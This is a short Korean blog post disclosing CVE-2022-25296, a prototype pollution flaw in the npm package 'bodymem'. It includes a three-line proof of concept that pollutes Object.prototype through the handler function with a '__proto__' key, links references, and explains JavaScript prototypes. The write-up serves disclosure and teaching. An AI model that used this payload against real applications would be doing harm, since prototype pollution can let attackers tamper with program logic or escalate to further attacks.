본문 바로가기
취약점.

'Bodymem' Prototye Pollution 취약점 #CVE-2022-25296

by 낭람._. 2022. 7. 13.
반응형

Target : Bodymem

 

Description

Prototye 페이로드를 이용해서 Object.prototype의 속성을 추가하거나 수정하도록 속일 수 있는 핸들러 기능을 통해 프로토 타입 오염이 발생한다.

* CVE-2019-10792 수정 코드에서 발생

 

PoC

const x = require("bodymem");
x.handler(["__proto__"], "polluted", "success");
console.log({}.polluted)

 

관련 링크

https://security.snyk.io/vuln/SNYK-JS-BODYMEN-2342623

 

Snyk Vulnerability Database | Snyk

Snyk Vulnerability Database

security.snyk.io

https://jjy-security.tistory.com/30

 

javascript proto pollution

공부중입니다... What is prototype 자바스크립트는 객체지향 언어이지만 C++이나 JAVA와 같은 class가 없다. 대신 protoype이라는 개념이 등장한다.(prototype에 대해서 잘 설명한 글의 링크가 밑에 있다. 따

jjy-security.tistory.com

https://medium.com/@bluesh55/javascript-prototype-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0-f8e67c286b67

 

[Javascript ] 프로토타입 이해하기

자바스크립트는 프로토타입 기반 언어라고 불립니다. 자바스크립트 개발을 하면 빠질 수 없는 것이 프로토타입인데요. 프로토타입이 거의 자바스크립트 그 자체이기때문에 이해하는 것이 어렵

medium.com

http://insanehong.kr/post/javascript-prototype/

 

Javascript 기초 - Object prototype 이해하기 | Insanehong's Incorrect Note

소개 이번 글에서 다룰 내용은 자바스크립트의 프로토타입 상속(prototypal inheritance) 이라는 확장과 객체의 재사용을 가능하게 해주며 class 기반으로 인스턴스를 생성하지 않는 자바스크립트에서

insanehong.kr

https://velog.io/@h0ngwon/Javascript-proto-vs-prototype-%EC%B0%A8%EC%9D%B4

 

Javascript __proto__ vs prototype 차이

자바스크립트 공부를 하던중 \_\_proto\_\_와 prototype의 차이점에 대해서 복습하고자 이 글을 써본다.시작하기에 앞서 자바스크립트에서의 함수는 객체이다.객체는 property를 가진다.만약 이러한 함

velog.io

*Prototype Pollution

함수를 정의하면 Prototype Object가 생성되는데, 모든 객체는 __proto__를 통해 Prototype Object에 접근이 가능하다.

 

__proto__ 속성은 모든 객체가 가지고 있는 속성이고 Prototype Object를 가리키고 있다. (링크 개념)

 

새로운 객체를 만들더라도 __proto__ 속성은 Prototype Object를 가리키고 있다.

(새로운 객체에 찾고자 하는 속성이 없다면 Prototype Object의 속성에서 찾는다)

 

Prototype Object의 속성을 변경한다면 새로운 객체가 만들어 지더라도 변경된 속성을 참조할 수 있다.

 

반응형

댓글